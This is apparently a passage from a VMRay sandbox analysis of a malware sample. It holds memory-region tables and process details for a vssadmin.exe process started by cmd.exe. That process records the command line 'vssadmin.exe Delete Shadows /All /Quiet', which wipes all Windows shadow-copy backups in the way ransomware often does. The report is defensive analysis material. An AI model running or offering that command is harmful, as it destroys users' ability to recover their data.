private_0x00000000002d0000 0x002d0000 0x003cffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x003d0000 0x0048ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000004c0000 0x004c0000 0x004cffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000004d0000 0x004d0000 0x00657fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000660000 0x00660000 0x007e0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000810000 0x00810000 0x0084ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000850000 0x00850000 0x0088ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000910000 0x00910000 0x0094ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000009c0000 0x009c0000 0x009fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000a00000 0x00a00000 0x00a3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000a40000 0x00a40000 0x00b3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000b40000 0x00b40000 0x00b7ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000b90000 0x00b90000 0x00bcffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000bd0000 0x00bd0000 0x00c0ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00d70000 0x00d85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000d90000 0x00d90000 0x0218ffff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x02190000 0x0245efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002460000 0x02460000 0x0249ffff Private Memory Readable, Writable True False False
  • Region Actions
fastprox.dll 0x6a570000 0x6a605fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a830000 0x6a91afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x74b70000 0x74b87fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x74b90000 0x74b9efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x74ba0000 0x74bc8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x74bd0000 0x74c2bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x74c30000 0x74c39fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x74c40000 0x74c4efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x74c50000 0x74c58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x74c60000 0x74c70fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x74c80000 0x74c8cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x74c90000 0x74cc4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #44: vssadmin.exe
+
Information Value
ID #44
File Name c:\windows\syswow64\vssadmin.exe
Command Line vssadmin.exe Delete Shadows /All /Quiet
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:38, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:00:57
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x87c
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 6CC
0x 96C
0x 8A8
0x 8B0
0x 8B4
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
vssadmin.exe.mui 0x000f0000 0x000fcfff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000100000 0x00100000 0x00100fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000110000 0x00110000 0x00110fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000120000 0x00120000 0x00120fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000130000 0x00130000 0x00130fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000001b0000 0x001b0000 0x001effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x0027ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000280000 0x00280000 0x002bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000370000 0x00370000 0x003effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000410000 0x00410000 0x0044ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000490000 0x00490000 0x004cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004e0000 0x004e0000 0x005dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000610000 0x00610000 0x0064ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000006e0000 0x006e0000 0x006effff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000006f0000 0x006f0000 0x00877fff Pagefile Backed Memory Readable True False False
  • Region Actions
vssadmin.exe 0x009c0000 0x009defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x00000000009e0000 0x009e0000 0x00b60fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000b70000 0x00b70000 0x01f6ffff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x01f70000 0x0223efff Memory Mapped File Readable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
vssapi.dll 0x74b80000 0x74c95fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
vsstrace.dll 0x74ca0000 0x74caffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
atl.dll 0x74cb0000 0x74cc3fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefox with deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image